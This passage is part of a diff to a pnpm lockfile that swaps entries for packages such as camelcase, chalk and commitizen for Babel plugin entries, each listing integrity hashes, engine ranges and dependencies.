7.22.8 + '@babel/helper-plugin-utils': 7.16.7 dev: true - /camelcase-keys/6.2.2: - resolution: {integrity: sha512-YrwaA0vEKazPBkn0ipTiMpSajYDSe+KjQfrjhcBMxJt/znbvlHd8Pw/Vamaz5EB4Wfhs3SUR3Z9mwRu/P3s3Yg==} - engines: {node: '>=8'} + /@babel/plugin-bugfix-v8-spread-parameters-in-optional-chaining@7.16.7(@babel/core@7.22.8): + resolution: {integrity: sha512-di8vUHRdf+4aJ7ltXhaDbPoszdkh59AQtJM5soLsuHpQJdFQZOA4uGj0V2u/CZ8bJ/u8ULDL5yq6FO/bCXnKHw==} + engines: {node: '>=6.9.0'} + peerDependencies: + '@babel/core': ^7.13.0 dependencies: - camelcase: 5.3.1 - map-obj: 4.3.0 - quick-lru: 4.0.1 + '@babel/core': 7.22.8 + '@babel/helper-plugin-utils': 7.16.7 + '@babel/helper-skip-transparent-expression-wrappers': 7.16.0 + '@babel/plugin-proposal-optional-chaining': 7.16.7(@babel/core@7.22.8) dev: true - /camelcase/5.3.1: - resolution: {integrity: sha512-L28STB170nwWS63UjtlEOE3dldQApaJXZkOI1uMFfzf3rRuPegHaHesyee+YxQ+W6SvRDQV6UrdOdRiR153wJg==} - engines: {node: '>=6'} + /@babel/plugin-proposal-async-generator-functions@7.16.8(@babel/core@7.22.8): + resolution: {integrity: sha512-71YHIvMuiuqWJQkebWJtdhQTfd4Q4mF76q2IX37uZPkG9+olBxsX+rH1vkhFto4UeJZ9dPY2s+mDvhDm1u2BGQ==} + engines: {node: '>=6.9.0'} + peerDependencies: + '@babel/core': ^7.0.0-0 + dependencies: + '@babel/core': 7.22.8 + '@babel/helper-plugin-utils': 7.16.7 + '@babel/helper-remap-async-to-generator': 7.16.8 + '@babel/plugin-syntax-async-generators': 7.8.4(@babel/core@7.22.8) + transitivePeerDependencies: + - supports-color dev: true - /chalk/2.4.2: - resolution: {integrity: sha512-Mti+f9lpJNcwF4tWV8/OrTTtF1gZi+f8FqlyAdouralcFWFQWF2+NgCHShjkCb+IFBLq9buZwE1xckQU4peSuQ==} - engines: {node: '>=4'} + /@babel/plugin-proposal-class-properties@7.16.7(@babel/core@7.22.8): + resolution: {integrity: sha512-IobU0Xme31ewjYOShSIqd/ZGM/r/cuOz2z0MDbNrhF5FW+ZVgi0f2lyeoj9KFPDOAqsYxmLWZte1WOwlvY9aww==} + engines: {node: '>=6.9.0'} + peerDependencies: + '@babel/core': ^7.0.0-0 dependencies: - ansi-styles: 3.2.1 - escape-string-regexp: 1.0.5 - supports-color: 5.5.0 + '@babel/core': 7.22.8 + '@babel/helper-create-class-features-plugin': 7.17.9(@babel/core@7.22.8) + '@babel/helper-plugin-utils': 7.16.7 + transitivePeerDependencies: + - supports-color dev: true - /chalk/4.1.2: - resolution: {integrity: sha512-oKnbhFyRIXpUuez8iBMmyEa4nbj4IOQyuhc/wy9kY7/WVPcwIO9VA668Pu8RkO7+0G76SLROeyw9CpQ061i4mA==} - engines: {node: '>=10'} + /@babel/plugin-proposal-class-static-block@7.17.6(@babel/core@7.22.8): + resolution: {integrity: sha512-X/tididvL2zbs7jZCeeRJ8167U/+Ac135AM6jCAx6gYXDUviZV5Ku9UDvWS2NCuWlFjIRXklYhwo6HhAC7ETnA==} + engines: {node: '>=6.9.0'} + peerDependencies: + '@babel/core': ^7.12.0 dependencies: - ansi-styles: 4.3.0 - supports-color: 7.2.0 + '@babel/core': 7.22.8 + '@babel/helper-create-class-features-plugin': 7.17.9(@babel/core@7.22.8) + '@babel/helper-plugin-utils': 7.16.7 + '@babel/plugin-syntax-class-static-block': 7.14.5(@babel/core@7.22.8) + transitivePeerDependencies: + - supports-color dev: true - /chardet/0.7.0: - resolution: {integrity: sha512-mT8iDcrh03qDGRRmoA2hmBJnxpllMR+0/0qlzjqZES6NdiWDcZkCNAk4rPFZ9Q85r27unkiNNg8ZOiwZXBHwcA==} + /@babel/plugin-proposal-dynamic-import@7.16.7(@babel/core@7.22.8): + resolution: {integrity: sha512-I8SW9Ho3/8DRSdmDdH3gORdyUuYnk1m4cMxUAdu5oy4n3OfN8flDEH+d60iG7dUfi0KkYwSvoalHzzdRzpWHTg==} + engines: {node: '>=6.9.0'} + peerDependencies: + '@babel/core': ^7.0.0-0 + dependencies: + '@babel/core': 7.22.8 + '@babel/helper-plugin-utils': 7.16.7 + '@babel/plugin-syntax-dynamic-import': 7.8.3(@babel/core@7.22.8) dev: true - /cli-cursor/2.1.0: - resolution: {integrity: sha512-8lgKz8LmCRYZZQDpRyT2m5rKJ08TnU4tR9FFFW2rxpxR1FzWi4PQ/NfyODchAatHaUgnSPVcx/R5w6NuTBzFiw==} - engines: {node: '>=4'} + /@babel/plugin-proposal-export-namespace-from@7.16.7(@babel/core@7.22.8): + resolution: {integrity: sha512-ZxdtqDXLRGBL64ocZcs7ovt71L3jhC1RGSyR996svrCi3PYqHNkb3SwPJCs8RIzD86s+WPpt2S73+EHCGO+NUA==} + engines: {node: '>=6.9.0'} + peerDependencies: + '@babel/core': ^7.0.0-0 dependencies: - restore-cursor: 2.0.0 - dev: true - - /cli-width/2.2.1: - resolution: {integrity: sha512-GRMWDxpOB6Dgk2E5Uo+3eEBvtOOlimMmpbFiKuLFnQzYDavtLFY3K5ona41jgN/WdRZtG7utuVSVTL4HbZHGkw==} + '@babel/core': 7.22.8 + '@babel/helper-plugin-utils': 7.16.7 + '@babel/plugin-syntax-export-namespace-from': 7.8.3(@babel/core@7.22.8) dev: true - /cliui/7.0.4: - resolution: {integrity: sha512-OcRE68cOsVMXp1Yvonl/fzkQOyjLSu/8bhPDfQt0e0/Eb283TKP20Fs2MqoPsr9SwA595rRCA+QMzYc9nBP+JQ==} + /@babel/plugin-proposal-json-strings@7.16.7(@babel/core@7.22.8): + resolution: {integrity: sha512-lNZ3EEggsGY78JavgbHsK9u5P3pQaW7k4axlgFLYkMd7UBsiNahCITShLjNQschPyjtO6dADrL24757IdhBrsQ==} + engines: {node: '>=6.9.0'} + peerDependencies: + '@babel/core': ^7.0.0-0 dependencies: - string-width: 4.2.3 - strip-ansi: registry.npmmirror.com/strip-ansi/6.0.1 - wrap-ansi: 7.0.0 + '@babel/core': 7.22.8 + '@babel/helper-plugin-utils': 7.16.7 + '@babel/plugin-syntax-json-strings': 7.8.3(@babel/core@7.22.8) dev: true - /color-convert/1.9.3: - resolution: {integrity: sha512-QfAUtd+vFdAtFQcC8CCyYt1fYWxSqAiK2cSD6zDB8N3cpsEBAvRxp9zOGg6G/SHHJYAT88/az/IuDGALsNVbGg==} + /@babel/plugin-proposal-logical-assignment-operators@7.16.7(@babel/core@7.22.8): + resolution: {integrity: sha512-K3XzyZJGQCr00+EtYtrDjmwX7o7PLK6U9bi1nCwkQioRFVUv6dJoxbQjtWVtP+bCPy82bONBKG8NPyQ4+i6yjg==} + engines: {node: '>=6.9.0'} + peerDependencies: + '@babel/core': ^7.0.0-0 dependencies: - color-name: registry.npmmirror.com/color-name/1.1.3 + '@babel/core': 7.22.8 + '@babel/helper-plugin-utils': 7.16.7 + '@babel/plugin-syntax-logical-assignment-operators': 7.10.4(@babel/core@7.22.8) dev: true - /commitizen/4.2.4: - resolution: {integrity: sha512-LlZChbDzg3Ir3O2S7jSo/cgWp5/QwylQVr59K4xayVq8S4/RdKzSyJkghAiZZHfhh5t4pxunUoyeg0ml1q/7aw==} - engines: {node: '>= 10'} - hasBin: true + /@babel/plugin-proposal-nullish-coalescing-operator@7.16.7(@babel/core@7.22.8): + resolution: {integrity: sha512-aUOrYU3EVtjf62jQrCj63pYZ7k6vns2h/DQvHPWGmsJRYzWXZ6/AsfgpiRy6XiuIDADhJzP2Q9MwSMKauBQ+UQ==} + engines: {node: '>=6.9.0'} + peerDependencies: + '@babel/core': ^7.0.0-0 dependencies: - cachedir: 2.2.0 - cz-conventional-changelog: 3.2.0 - dedent: 0.7.0 - detect-indent: 6.0.0 - find-node-modules: 2.1.3 - find-root: 1.1.0 - fs-extra: 8.1.0 - glob: 7.1.4 - inquirer: 6.5.2 - is-utf8: 0.2.1 - lodash: 4.17.21 - minimist: 1.2.5 - strip-bom: 4.0.0 - strip-json-comments: 3.0.1 - transitivePeerDependencies: - - '@swc/core' - - '@swc/wasm' + '@babel/core': 7.22.8 + '@babel/helper-plugin-utils': 7.16.7 + '@babel/plugin-syntax-nullish-coalescing-operator': 7.8.3(@babel/core@7.22.8) dev: true - /compare-func/2.0.0: - resolution: {integrity: sha512-zHig5N+tPWARooBnb0Zx1MFcdfpyJrfTJ3Y5L+IFvUm8rM74hHz66z0gw0x4tijh5CorKkKUCnW82R2vmpeCRA==} + /@babel/plugin-proposal-numeric-separator@7.16.7(@babel/core@7.22.8): + resolution: {integrity: sha512-vQgPMknOIgiuVqbokToyXbkY/OmmjAzr/0lhSIbG/KmnzXPGwW/AdhdKpi+O4X/VkWiWjnkKOBiqJrTaC98VKw==} + engines: {node: '>=6.9.0'} + peerDependencies: + '@babel/core': ^7.0.0-0 dependencies: - array-ify: 1.0.0 - dot-prop: 5.3.0 + '@babel/core': 7.22.8 + '@babel/helper-plugin-utils': 7.16.7 + '@babel/plugin-syntax-numeric-separator': 7.10.4(@babel/core@7.22.8) dev: true - /concat-map/0.0.1: - resolution: {integrity: sha1-2Klr13/Wjfd5OnMDajug1UBdR3s=} + /@babel/plugin-proposal-object-rest-spread@7.17.3(@babel/core@7.22.8): + resolution: {integrity: sha512-yuL5iQA/TbZn+RGAfxQXfi7CNLmKi1f8zInn4IgobuCWcAb7i+zj4TYzQ9l8cEzVyJ89PDGuqxK1xZpUDISesw==} + engines: {node: '>=6.9.0'} + peerDependencies: + '@babel/core': ^7.0.0-0 + dependencies: + '@babel/compat-data': 7.22.6 + '@babel/core': 7.22.8 + '@babel/helper-compilation-targets': 7.22.6(@babel/core@7.22.8) + '@babel/helper-plugin-utils': 7.16.7 + '@babel/plugin-syntax-object-rest-spread': 7.8.3(@babel/core@7.22.8) + '@babel/plugin-transform-parameters': 7.16.7(@babel/core@7.22.8) dev: true - /conventional-changelog-angular/5.0.13: - resolution: {integrity: sha512-i/gipMxs7s8L/QeuavPF2hLnJgH6pEZAttySB6aiQLWcX3puWDL3ACVmvBhJGxnAy52Qc15ua26BufY6KpmrVA==} - engines: {node: '>=10'} + /@babel/plugin-proposal-optional-catch-binding@7.16.7(@babel/core@7.22.8): + resolution: {integrity: sha512-eMOH/L4OvWSZAE1VkHbr1vckLG1WUcHGJSLqqQwl2GaUqG6QjddvrOaTUMNYiv77H5IKPMZ9U9P7EaHwvAShfA==} + engines: {node: '>=6.9.0'} + peerDependencies: + '@babel/core': ^7.0.0-0 dependencies: - compare-func: 2.0.0 - q: 1.5.1 + '@babel/core': 7.22.8 + '@babel/helper-plugin-utils': 7.16.7 + '@babel/plugin-syntax-optional-catch-binding': 7.8.3(@babel/core@7.22.8) dev: true - /conventional-commit-types/3.0.0: - resolution: {integrity: sha512-SmmCYnOniSsAa9GqWOeLqc179lfr5TRu5b4QFDkbsrJ5TZjPJx85wtOr3zn+1dbeNiXDKGPbZ72IKbPhLXh/Lg==} + /@babel/plugin-proposal-optional-chaining@7.16.7(@babel/core@7.22.8): + resolution: {integrity: sha512-eC3xy+ZrUcBtP7x+sq62Q/HYd674pPTb/77XZMb5wbDPGWIdUbSr4Agr052+zaUPSb+gGRnjxXfKFvx5iMJ+DA==} + engines: {node: '>=6.9.0'} + peerDependencies: + '@babel/core': ^7.0.0-0 + dependencies: + '@babel/core': 7.22.8 + '@babel/helper-plugin-utils': 7.16.7 + '@babel/helper-skip-transparent-expression-wrappers': 7.16.0 + '@babel/plugin-syntax-optional-chaining': 7.8.3(@babel/core@7.22.8) dev: true - /conventional-commits-parser/3.2.4: - resolution: {integrity: sha512-nK7sAtfi+QXbxHCYfhpZsfRtaitZLIA6889kFIouLvz6repszQDgxBu7wf2WbU+Dco7sAnNCJYERCwt54WPC2Q==} - engines: {node: '>=10'} - hasBin: true + /@babel/plugin-proposal-private-methods@7.16.11(@babel/core@7.22.8): + resolution: {integrity: sha512-F/2uAkPlXDr8+BHpZvo19w3hLFKge+k75XUprE6jaqKxjGkSYcK+4c+bup5PdW/7W/Rpjwql7FTVEDW+fRAQsw==} + engines: {node: '>=6.9.0'} + peerDependencies: + '@babel/core': ^7.0.0-0 dependencies: - JSONStream: 1.3.5 - is-text-path: 1.0.1 - lodash: registry.npmmirror.com/lodash/4.17.21 - meow: 8.1.2 - split2: 3.2.2 - through2: 4.0.2 + '@babel/core': 7.22.8 + '@babel/helper-create-class-features-plugin': 7.17.9(@babel/core@7.22.8) + '@babel/helper-plugin-utils': 7.16.7 + transitivePeerDependencies: + - supports-color dev: true - /cosmiconfig-typescript-loader/2.0.2_wkok7lthibal5qjhsdd5yq2cfe: - resolution: {integrity: sha512-KmE+bMjWMXJbkWCeY4FJX/npHuZPNr9XF9q9CIQ/bpFwi1qHfCmSiKarrCcRa0LO4fWjk93pVoeRtJAkTGcYNw==} - engines: {node: '>=12', npm: '>=6'} + /@babel/plugin-proposal-private-property-in-object@7.16.7(@babel/core@7.22.8): + resolution: {integrity: sha512-rMQkjcOFbm+ufe3bTZLyOfsOUOxyvLXZJCTARhJr+8UMSoZmqTe1K1BgkFcrW37rAchWg57yI69ORxiWvUINuQ==} + engines: {node: '>=6.9.0'} peerDependencies: - '@types/node': '*' - typescript: '>=3' + '@babel/core': ^7.0.0-0 dependencies: - '@types/node': 17.0.32 - cosmiconfig: 7.0.1 - ts-node: 10.8.2_wkok7lthibal5qjhsdd5yq2cfe - typescript: 4.7.4 + '@babel/core': 7.22.8 + '@babel/helper-annotate-as-pure': 7.16.7 + '@babel/helper-create-class-features-plugin': 7.17.9(@babel/core@7.22.8) + '@babel/helper-plugin-utils': 7.16.7 + '@babel/plugin-syntax-private-property-in-object': 7.14.5(@babel/core@7.22.8) transitivePeerDependencies: - - '@swc/core' - - '@swc/wasm' + - supports-color dev: true - /cosmiconfig/7.0.1: - resolution: {integrity: sha512-a1YWNUV2HwGimB7dU2s1wUMurNKjpx60HxBB6xUM8Re+2s1g1IIfJvFR0/iCF+XHdE0GMTKTuLR32UQff4TEyQ==} - engines: {node: '>=10'} + /@babel/plugin-proposal-unicode-property-regex@7.16.7(@babel/core@7.22.8): + resolution: {integrity: sha512-QRK0YI/40VLhNVGIjRNAAQkEHws0cswSdFFjpFyt943YmJIU1da9uW63Iu6NFV6CxTZW5eTDCrwZUstBWgp/Rg==} + engines: {node: '>=4'} + peerDependencies: + '@babel/core': ^7.0.0-0 dependencies: - '@types/parse-json': 4.0.0 - import-fresh: 3.3.0 - parse-json: 5.2.0 - path-type: 4.0.0 - yaml: 1.10.2 + '@babel/core': 7.22.8 + '@babel/helper-create-regexp-features-plugin': 7.17.0(@babel/core@7.22.8) + '@babel/helper-plugin-utils': 7.16.7 dev: true - /create-require/1.1.1: - resolution: {integrity: sha512-dcKFX3jn0MpIaXjisoRvexIJVEKzaq7z2rZKxf+MSr9TkdmHmsU4m2lcLojrj/FHl8mk5VxMmYA+ftRkP/3oKQ==} + /@babel/plugin-syntax-async-generators@7.8.4(@babel/core@7.22.8): + resolution: {integrity: sha512-tycmZxkGfZaxhMRbXlPXuVFpdWlXpir2W4AMhSJgRKzk/eDlIXOhb2LHWoLpDF7TEHylV5zNhykX6KAgHJmTNw==} + peerDependencies: + '@babel/core': ^7.0.0-0 + dependencies: + '@babel/core': 7.22.8 + '@babel/helper-plugin-utils': 7.16.7 dev: true - /cross-spawn/7.0.3: - resolution: {integrity: sha512-iRDPJKUPVEND7dHPO8rkbOnPpyDygcDFtWjpeWNCgy8WP2rXcxXL8TskReQl6OrB2G7+UJrags1q15Fudc7G6w==} - engines: {node: '>= 8'} + /@babel/plugin-syntax-class-properties@7.12.13(@babel/core@7.22.8): + resolution: {integrity: sha512-fm4idjKla0YahUNgFNLCB0qySdsoPiZP3iQE3rky0mBUtMZ23yDJ9SJdg6dXTSDnulOVqiF3Hgr9nbXvXTQZYA==} + peerDependencies: + '@babel/core': ^7.0.0-0 dependencies: - path-key: 3.1.1 - shebang-command: 2.0.0 - which: 2.0.2 + '@babel/core': 7.22.8 + '@babel/helper-plugin-utils': 7.16.7 dev: true - /cz-conventional-changelog/3.2.0: - resolution: {integrity: sha512-yAYxeGpVi27hqIilG1nh4A9Bnx4J3Ov+eXy4koL3drrR+IO9GaWPsKjik20ht608Asqi8TQPf0mczhEeyAtMzg==} - engines: {node: '>= 10'} + /@babel/plugin-syntax-class-static-block@7.14.5(@babel/core@7.22.8): + resolution: {integrity: sha512-b+YyPmr6ldyNnM6sqYeMWE+bgJcJpO6yS4QD7ymxgH34GBPNDM/THBh8iunyvKIZztiwLH4CJZ0RxTk9emgpjw==} + engines: {node: '>=6.9.0'} + peerDependencies: + '@babel/core': ^7.0.0-0 dependencies: - chalk: 2.4.2 - commitizen: 4.2.4 - conventional-commit-types: 3.0.0 - lodash.map: 4.6.0 - longest: 2.0.1 - word-wrap: 1.2.3 - optionalDependencies: - '@commitlint/load': registry.npmmirror.com/@commitlint/load/17.0.3 - transitivePeerDependencies: - - '@swc/core' - - '@swc/wasm' + '@babel/core': 7.22.8 + '@babel/helper-plugin-utils': 7.16.7 dev: true - /cz-conventional-changelog/3.3.0: - resolution: {integrity: sha512-U466fIzU5U22eES5lTNiNbZ+d8dfcHcssH4o7QsdWaCcRs/feIPCxKYSWkYBNs5mny7MvEfwpTLWjvbm94hecw==} - engines: {node: '>= 10'} + /@babel/plugin-syntax-dynamic-import@7.8.3(@babel/core@7.22.8): + resolution: {integrity: sha512-5gdGbFon+PszYzqs83S3E5mpi7/y/8M9eC90MRTZfduQOYW76ig6SOSPNe41IG5LoP3FGBn2N0RjVDSQiS94kQ==} + peerDependencies: + '@babel/core': ^7.0.0-0 dependencies: - chalk: 2.4.2 - commitizen: 4.2.4 - conventional-commit-types: 3.0.0 - lodash.map: 4.6.0 - longest: 2.0.1 - word-wrap: 1.2.3 - optionalDependencies: - '@commitlint/load': registry.npmmirror.com/@commitlint/load/17.0.3 - transitivePeerDependencies: - - '@swc/core' - - '@swc/wasm' + '@babel/core': 7.22.8 + '@babel/helper-plugin-utils': 7.16.7 dev: true - /dargs/7.0.0: - resolution: {integrity: sha512-2iy1EkLdlBzQGvbweYRFxmFath8+K7+AKB0TlhHWkNuH+TmovaMH/Wp7V7R4u7f4SnX3OgLsU9t1NI9ioDnUpg==} - engines: {node: '>=8'} + /@babel/plugin-syntax-export-namespace-from@7.8.3(@babel/core@7.22.8): + resolution: {integrity: sha512-MXf5laXo6c1IbEbegDmzGPwGNTsHZmEy6QGznu5Sh2UCWvueywb2ee+CCE4zQiZstxU9BMoQO9i6zUFSY0Kj0Q==} + peerDependencies: + '@babel/core': ^7.0.0-0 + dependencies: + '@babel/core': 7.22.8 + '@babel/helper-plugin-utils': 7.16.7 dev: true - /decamelize-keys/1.1.0: - resolution: {integrity: sha512-ocLWuYzRPoS9bfiSdDd3cxvrzovVMZnRDVEzAs+hWIVXGDbHxWMECij2OBuyB/An0FFW/nLuq6Kv1i/YC5Qfzg==} - engines: {node: '>=0.10.0'} + /@babel/plugin-syntax-json-strings@7.8.3(@babel/core@7.22.8): + resolution: {integrity: sha512-lY6kdGpWHvjoe2vk4WrAapEuBR69EMxZl+RoGRhrFGNYVK8mOPAW8VfbT/ZgrFbXlDNiiaxQnAtgVCZ6jv30EA==} + peerDependencies: + '@babel/core': ^7.0.0-0 dependencies: - decamelize: 1.2.0 - map-obj: 1.0.1 + '@babel/core': 7.22.8 + '@babel/helper-plugin-utils': 7.16.7 dev: true - /decamelize/1.2.0: - resolution: {integrity: sha512-z2S+W9X73hAUUki+N+9Za2lBlun89zigOyGrsax+KUQ6wKW4ZoWpEYBkGhQjwAjjDCkWxhY0VKEhk8wzY7F5cA==} - engines: {node: '>=0.10.0'} + /@babel/plugin-syntax-logical-assignment-operators@7.10.4(@babel/core@7.22.8): + resolution: {integrity: sha512-d8waShlpFDinQ5MtvGU9xDAOzKH47+FFoney2baFIoMr952hKOLp1HR7VszoZvOsV/4+RRszNY7D17ba0te0ig==} + peerDependencies: + '@babel/core': ^7.0.0-0 + dependencies: + '@babel/core': 7.22.8 + '@babel/helper-plugin-utils': 7.16.7 dev: true - /dedent/0.7.0: - resolution: {integrity: sha512-Q6fKUPqnAHAyhiUgFU7BUzLiv0kd8saH9al7tnu5Q/okj6dnupxyTgFIBjVzJATdfIAm9NAsvXNzjaKa+bxVyA==} + /@babel/plugin-syntax-nullish-coalescing-operator@7.8.3(@babel/core@7.22.8): + resolution: {integrity: sha512-aSff4zPII1u2QD7y+F8oDsz19ew4IGEJg9SVW+bqwpwtfFleiQDMdzA/R+UlWDzfnHFCxxleFT0PMIrR36XLNQ==} + peerDependencies: + '@babel/core': ^7.0.0-0 + dependencies: + '@babel/core': 7.22.8 + '@babel/helper-plugin-utils': 7.16.7 dev: true - /detect-file/1.0.0: - resolution: {integrity: sha512-DtCOLG98P007x7wiiOmfI0fi3eIKyWiLTGJ2MDnVi/E04lWGbf+JzrRHMm0rgIIZJGtHpKpbVgLWHrv8xXpc3Q==} - engines: {node: '>=0.10.0'} + /@babel/plugin-syntax-numeric-separator@7.10.4(@babel/core@7.22.8): + resolution: {integrity: sha512-9H6YdfkcK/uOnY/K7/aA2xpzaAgkQn37yzWUMRK7OaPOqOpGS1+n0H5hxT9AUw9EsSjPW8SVyMJwYRtWs3X3ug==} + peerDependencies: + '@babel/core': ^7.0.0-0 + dependencies: + '@babel/core': 7.22.8 + '@babel/helper-plugin-utils': 7.16.7 dev: true - /detect-indent/6.0.0: - resolution: {integrity: sha512-oSyFlqaTHCItVRGK5RmrmjB+CmaMOW7IaNA/kdxqhoa6d17j/5ce9O9eWXmV/KEdRwqpQA+Vqe8a8Bsybu4YnA==} - engines: {node: '>=8'} + /@babel/plugin-syntax-object-rest-spread@7.8.3(@babel/core@7.22.8): + resolution: {integrity: sha512-XoqMijGZb9y3y2XskN+P1wUGiVwWZ5JmoDRwx5+3GmEplNyVM2s2Dg8ILFQm8rWM48orGy5YpI5Bl8U1y7ydlA==} + peerDependencies: + '@babel/core': ^7.0.0-0 + dependencies: + '@babel/core': 7.22.8 + '@babel/helper-plugin-utils': 7.16.7 dev: true - /diff/4.0.2: - resolution: {integrity: sha512-58lmxKSA4BNyLz+HHMUzlOEpg09FV+ev6ZMe3vJihgdxzgcwZ8VoEEPmALCZG9LmqfVoNMMKpttIYTVG6uDY7A==} - engines: {node: '>=0.3.1'} + /@babel/plugin-syntax-optional-catch-binding@7.8.3(@babel/core@7.22.8): + resolution: {integrity: sha512-6VPD0Pc1lpTqw0aKoeRTMiB+kWhAoT24PA+ksWSBrFtl5SIRVpZlwN3NNPQjehA2E/91FV3RjLWoVTglWcSV3Q==} + peerDependencies: + '@babel/core': ^7.0.0-0 + dependencies: + '@babel/core': 7.22.8 + '@babel/helper-plugin-utils': 7.16.7 dev: true - /dot-prop/5.3.0: - resolution: {integrity: sha512-QM8q3zDe58hqUqjraQOmzZ1LIH9SWQJTlEKCH4kJ2oQvLZk7RbQXvtDM2XEq3fwkV9CCvvH4LA0AV+ogFsBM2Q==} - engines: {node: '>=8'} + /@babel/plugin-syntax-optional-chaining@7.8.3(@babel/core@7.22.8): + resolution: {integrity: sha512-KoK9ErH1MBlCPxV0VANkXW2/dw4vlbGDrFgz8bmUsBGYkFRcbRwMh6cIJubdPrkxRwuGdtCk0v/wPTKbQgBjkg==} + peerDependencies: + '@babel/core': ^7.0.0-0 dependencies: - is-obj: registry.npmmirror.com/is-obj/2.0.0 + '@babel/core': 7.22.8 + '@babel/helper-plugin-utils': 7.16.7 dev: true - /emoji-regex/8.0.0: - resolution: {integrity: sha512-MSjYzcWNOA0ewAHpz0MxpYFvwg6yjy1NG3xteoqz644VCo/RPgnr1/GGt+ic3iJTzQ8Eu3TdM14SawnVUmGE6A==} + /@babel/plugin-syntax-private-property-in-object@7.14.5(@babel/core@7.22.8): + resolution: {integrity: sha512-0wVnp9dxJ72ZUJDV27ZfbSj6iHLoytYZmh3rFcxNnvsJF3ktkzLDZPy/mA17HGsaQT3/DQsWYX1f1QGWkCoVUg==} + engines: {node: '>=6.9.0'} + peerDependencies: + '@babel/core': ^7.0.0-0 + dependencies: + '@babel/core': 7.22.8 + '@babel/helper-plugin-utils': 7.16.7 dev: true - /error-ex/1.3.2: - resolution: {integrity: sha512-7dFHNmqeFSEt2ZBsCriorKnn3Z2pj+fd9kmI6QoWw4//DL+icEBfc0U7qJCisqrTsKTjw4fNFy2pW9OqStD84g==} + /@babel/plugin-syntax-top-level-await@7.14.5(@babel/core@7.22.8): + resolution: {integrity: sha512-hx++upLv5U1rgYfwe1xBQUhRmU41NEvpUvrp8jkrSCdvGSnM5/qdRMtylJ6PG5OFkBaHkbTAKTnd3/YyESRHFw==} + engines: {node: '>=6.9.0'} + peerDependencies: + '@babel/core': ^7.0.0-0 dependencies: - is-arrayish: registry.npmmirror.com/is-arrayish/0.2.1 + '@babel/core': 7.22.8 + '@babel/helper-plugin-utils': 7.16.7 dev: true - /escalade/3.1.1: - resolution: {integrity: sha512-k0er2gUkLf8O0zKJiAhmkTnJlTvINGv7ygDNPbeIsX/TJjGJZHuh9B2UxbsaEkmlEo9MfhrSzmhIlhRlI2GXnw==} - engines: {node: '>=6'} + /@babel/plugin-transform-arrow-functions@7.16.7(@babel/core@7.22.8): + resolution: {integrity: sha512-9ffkFFMbvzTvv+7dTp/66xvZAWASuPD5Tl9LK3Z9vhOmANo6j94rik+5YMBt4CwHVMWLWpMsriIc2zsa3WW3xQ==} + engines: {node: '>=6.9.0'} + peerDependencies: + '@babel/core': ^7.0.0-0 + dependencies: + '@babel/core': 7.22.8 + '@babel/helper-plugin-utils': 7.16.7 dev: true - /escape-string-regexp/1.0.5: - resolution: {integrity: sha512-vbRorB5FUQWvla16U8R/qgaFIya2qGzwDrNmCZuYKrbdSUMG6I1ZCGQRefkRVhuOkIGVne7BQ35DSfo1qvJqFg==} - engines: {node: '>=0.8.0'} + /@babel/plugin-transform-async-to-generator@7.16.8(@babel/core@7.22.8): + resolution: {integrity: sha512-MtmUmTJQHCnyJVrScNzNlofQJ3dLFuobYn3mwOTKHnSCMtbNsqvF71GQmJfFjdrXSsAA7iysFmYWw4bXZ20hOg==} + engines: {node: '>=6.9.0'} + peerDependencies: + '@babel/core': ^7.0.0-0 + dependencies: + '@babel/core': 7.22.8 + '@babel/helper-module-imports': 7.22.5 + '@babel/helper-plugin-utils': 7.16.7 + '@babel/helper-remap-async-to-generator': 7.16.8 + transitivePeerDependencies: + - supports-color dev: true - /execa/5.1.1: - resolution: {integrity: sha512-8uSpZZocAZRBAPIEINJj3Lo9HyGitllczc27Eh5YYojjMFMn8yHMDMaUHE2Jqfq05D/wucwI4JGURyXt1vchyg==} - engines: {node: '>=10'} + /@babel/plugin-transform-block-scoped-functions@7.16.7(@babel/core@7.22.8): + resolution: {integrity: sha512-JUuzlzmF40Z9cXyytcbZEZKckgrQzChbQJw/5PuEHYeqzCsvebDx0K0jWnIIVcmmDOAVctCgnYs0pMcrYj2zJg==} + engines: {node: '>=6.9.0'} + peerDependencies: + '@babel/core': ^7.0.0-0 dependencies: - cross-spawn: 7.0.3 - get-stream: 6.0.1 - human-signals: 2.1.0 - is-stream: 2.0.1 - merge-stream: 2.0.0 - npm-run-path: 4.0.1 - onetime: 5.1.2 - signal-exit: 3.0.7 - strip-final-newline: 2.0.0 + '@babel/core': 7.22.8 + '@babel/helper-plugin-utils': 7.16.7 dev: true - /expand-tilde/2.0.2: - resolution: {integrity: sha512-A5EmesHW6rfnZ9ysHQjPdJRni0SRar0tjtG5MNtm9n5TUvsYU8oozprtRD4AqHxcZWWlVuAmQo2nWKfN9oyjTw==} - engines: {node: '>=0.10.0'} + /@babel/plugin-transform-block-scoping@7.16.7(@babel/core@7.22.8): + resolution: {integrity: sha512-ObZev2nxVAYA4bhyusELdo9hb3H+A56bxH3FZMbEImZFiEDYVHXQSJ1hQKFlDnlt8G9bBrCZ5ZpURZUrV4G5qQ==} + engines: {node: '>=6.9.0'} + peerDependencies: + '@babel/core': ^7.0.0-0 dependencies: - homedir-polyfill: 1.0.3 + '@babel/core': 7.22.8 + '@babel/helper-plugin-utils': 7.16.7 dev: true - /external-editor/3.1.0: - resolution: {integrity: sha512-hMQ4CX1p1izmuLYyZqLMO/qGNw10wSv9QDCPfzXfyFrOaCSSoRfqE1Kf1s5an66J5JZC62NewG+mK49jOCtQew==} - engines: {node: '>=4'} + /@babel/plugin-transform-classes@7.16.7(@babel/core@7.22.8): + resolution: {integrity: sha512-WY7og38SFAGYRe64BrjKf8OrE6ulEHtr5jEYaZMwox9KebgqPi67Zqz8K53EKk1fFEJgm96r32rkKZ3qA2nCWQ==} + engines: {node: '>=6.9.0'} + peerDependencies: + '@babel/core': ^7.0.0-0 dependencies: - chardet: 0.7.0 - iconv-lite: 0.4.24 - tmp: 0.0.33 + '@babel/core': 7.22.8 + '@babel/helper-annotate-as-pure': 7.16.7 + '@babel/helper-environment-visitor': 7.22.5 + '@babel/helper-function-name': 7.22.5 + '@babel/helper-optimise-call-expression': 7.16.7 + '@babel/helper-plugin-utils': 7.16.7 + '@babel/helper-replace-supers': 7.16.7 + '@babel/helper-split-export-declaration': 7.22.6 + globals: 11.12.0 + transitivePeerDependencies: + - supports-color dev: true - /figures/2.0.0: - resolution: {integrity: sha512-Oa2M9atig69ZkfwiApY8F2Yy+tzMbazyvqv21R0NsSC8floSOC09BbT1ITWAdoMGQvJ/aZnR1KMwdx9tvHnTNA==} - engines: {node: '>=4'} + /@babel/plugin-transform-computed-properties@7.16.7(@babel/core@7.22.8): + resolution: {integrity: 